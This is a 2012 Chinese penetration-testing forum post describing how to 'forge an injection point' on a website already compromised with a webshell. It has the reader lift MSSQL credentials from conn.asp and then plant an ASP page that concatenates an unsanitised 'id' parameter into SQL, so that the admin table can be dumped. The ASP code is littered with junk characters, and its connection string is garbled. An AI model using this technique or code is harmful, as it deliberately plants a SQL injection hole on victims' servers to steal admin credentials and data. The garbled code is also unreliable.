中国网络渗透测试联盟

标题: 伪造注入点方法 [打印本页]

作者: admin    时间: 2012-9-13 17:53
标题: 伪造注入点方法
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:3 p. ^- h% x" H2 _0 ^4 C$ y
ASP/Visual Basic代码/ L2 q, o" w3 m) Z& w
<!--#include file="xx.asp"-->    * J# P" m" V) P4 t
<%   
4 \8 o% l: m/ x# {5 B7 B5 Sset rs=server.createobject("ADODB.recordset")    8 ^5 w7 p$ G% f+ c6 Q
id = request("id")    1 }- y3 o. z2 |7 C% a
strSQL = "select * from admin where id=" & id    - {+ w3 `4 u2 B5 {' E. y
rs.open strSQL,conn,1,3    : J. n8 v# }6 G1 V$ A9 k3 R( l# h2 f1 S0 z
rs.close   
  I) J0 c% {3 Z* `2 Z%>  
' e- b: I  d8 m# b* F% @把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!+ P- }5 D3 T: \3 d% O/ ?
然后就要构造一个连接数据库的文件了,代码如下:8 j( c: F; b/ z) g7 M1 X# {7 k
ASP/Visual Basic代码
& f! {. d9 |; k0 N<%            % j6 d5 r- g1 O9 k5 D+ X7 C9 Y
strSQLServerName = "000.000.000.000"     '服务器名称或地址    * H' X( Q* f6 z, P4 G
strSQLDBUserName = "sqlname"         '数据库帐号   
; C5 U/ [3 g; j0 sstrSQLDBPassword = "sqlpass"         '数据库密码   
# m  U3 H1 H2 R; B: rstrSQLDBName = "sqldataname"           '数据库名称    4 U; R' a2 |' I2 z5 k
Set conn = Server.CreateObject("ADODB.Connection")   
0 m" P- |4 h, k- W9 x, m. QstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   1 L8 @8 ]5 |4 z4 I
conn.open strCon   
+ J+ N% k' Q8 f+ E! N, p%>  
4 m5 z) i+ E, O; a* q这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
0 k9 L: ?! V9 C3 R. v0 l/ q




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2